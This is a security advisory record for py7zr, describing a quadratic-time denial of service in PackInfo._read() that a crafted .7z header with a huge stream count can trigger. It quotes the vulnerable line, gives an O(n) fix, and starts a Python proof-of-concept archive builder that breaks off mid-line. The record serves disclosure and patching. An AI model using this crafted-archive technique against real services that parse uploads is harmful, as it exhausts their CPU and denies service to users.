id: PYSEC-2026-2973 published: "2026-07-13T15:46:22.282856Z" modified: "2026-07-13T16:05:50.327067Z" aliases: - CVE-2026-55206 - GHSA-h4gh-22qq-72r7 summary: "py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()" details: "### Summary\n\nPackInfo._read() uses an O(n^2) cumulative sum pattern where\n numstreams is read directly from the archive header. A crafted .7z\n archive with a large numstreams value causes excessive CPU consumption\n during SevenZipFile.__init__() — no extraction is needed. A 50 KB\n archive takes ~7 seconds of CPU time.\n\n### Details\n\n The vulnerable code is in PackInfo._read() (archiveinfo.py):\n\n self.packpositions = [sum(self.packsizes[:i]) for i in\n range(self.numstreams + 1)]\n\n numstreams is parsed from the archive header via read_uint64() and is\n attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the\n beginning, producing O(n^2) total work. This runs during header\n parsing in SevenZipFile.__init__(), before any extraction.\n\n Suggested fix — replace with O(n) cumulative sum:\n\n from itertools import accumulate\n self.packpositions = [0] + list(accumulate(self.packsizes))\n### PoC\n``` import struct, io, binascii, time\n import py7zr\n from py7zr.archiveinfo import write_uint64, PROPERTY\n\n MAGIC = b'\\x37\\x7a\\xbc\\xaf\\x27\\x1c'\n\n def encode_uint64(v):\n buf = io.BytesIO()\n write_uint64(buf, v)\n return buf.getvalue()\n\n def build_7z_with_streams(numstreams):\n header = io.BytesIO()\n header.write(PROPERTY.HEADER)\n header.write(PROPERTY.MAIN_STREAMS_INFO)\n header.write(PROPERTY.PACK_INFO)\n header.write(encode_uint64(0))\n header.write(encode_uint64(numstreams))\n header.write(PROPERTY.SIZE)\n for _ in range(numstreams):\n header.write(encode_uint64(1))\n header.write(PROPERTY.END)\n header.write(PROPERTY.END)\n header.write(PROPERTY.END)\n header_data = header.getvalue()\n\n out = io.BytesIO()\n out.write(MAGIC)\n out.write(b'\\x00\\x04')\n next_crc = binascii.crc32(header_data) & 0xFFFFFFFF\n start_header = (struct.pack('